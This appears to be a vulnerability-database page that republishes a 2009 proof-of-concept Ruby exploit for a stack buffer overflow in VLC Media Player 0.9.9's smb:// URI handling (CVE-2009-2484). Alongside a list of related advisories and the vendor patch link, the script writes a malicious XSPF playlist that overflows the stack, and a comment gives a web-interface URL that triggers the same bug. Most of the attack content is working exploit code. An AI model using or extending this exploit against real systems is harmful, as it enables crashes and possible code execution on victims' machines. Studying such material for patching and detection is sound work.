VideoLAN VLC Media Player 0.9.9 - 'smb://' URI Stack Buffer Overflow (PoC)
| Reporter | Title | Published | Views | Family All 18 |
|---|---|---|---|---|
 | CVE-2009-2484 | 29 Jun 200900:00 | – | circl |
 | VideoLAN VLC Media Player SMB Module Win32AddConnection Buffer Overflow (CVE-2009-2484) | 14 Feb 201000:00 | – | checkpoint_advisories |
 | CVE-2009-2484 | 16 Jul 200916:00 | – | cve |
 | CVE-2009-2484 | 16 Jul 200916:00 | – | cvelist |
 | CVE-2009-2484 | 16 Jul 200916:00 | – | debiancve |
 | VideoLAN VLC Client (Windows x86) - 'smb://' URI Buffer Overflow (Metasploit) | 20 Sep 201000:00 | – | exploitdb |
 | CVE-2009-2484 | 16 Jul 200916:00 | – | mend |
 | VideoLAN Client (VLC) Win32 smb:// URI Buffer Overflow | 24 Jun 200900:00 | – | metasploit |
 | CVE-2009-2484 | 16 Jul 200916:30 | – | nvd |
 | VLC Media Player SMB 'Win32AddConnection()' BOF Vulnerability (Jul 2009) - Windows | 18 Jul 200900:00 | – | openvas |
10
#!/usr/bin/ruby
# VideoLAN VLC Media Player 0.9.9 smb:// URI Stack-based Buffer Overflow (Proof-of-Concept)
#
# Bugtraq ID: 35500
#
# The vulnerability can also be triggered via the VLC web interface (disabled by default):
# http://[vulnerable_ip]:8080/requests/status.xml?command=in_play&input=smb://............
#
# Patch:
# http://git.videolan.org/?p=vlc.git;a=commitdiff;h=e60a9038b13b5eb805a76755efc5c6d5e080180f
#
# Tested on Windows XP SP3 (fully patched), VLC player version 0.9.9 (latest).
#
# Trancer
# http://www.rec-sec.com
foo = "A" * 58
bar = "B" * 4
baz = "C" * 1000
b00m = foo + bar + baz
xspf = %Q|<?xml version="1.0" encoding="UTF-8"?>
<playlist version="1" xmlns="http://xspf.org/ns/0/" xmlns:vlc="http://www.videolan.org/vlc/playlist/ns/0/">
<title>Playlist</title>
<trackList>
<track>
<location>smb://[email protected]/foo/#{b00m}</location>
<extension application="http://www.videolan.org/vlc/playlist/0">
<vlc:id>0</vlc:id>
</extension>
</track>
</trackList>
</playlist>
|
playlist = File.new("vlc_smb.xspf","wb")
playlist.write(xspf)
playlist.close
# milw0rm.com [2009-06-29]Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
23 Nov 2016 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 29.3
EPSS0.3511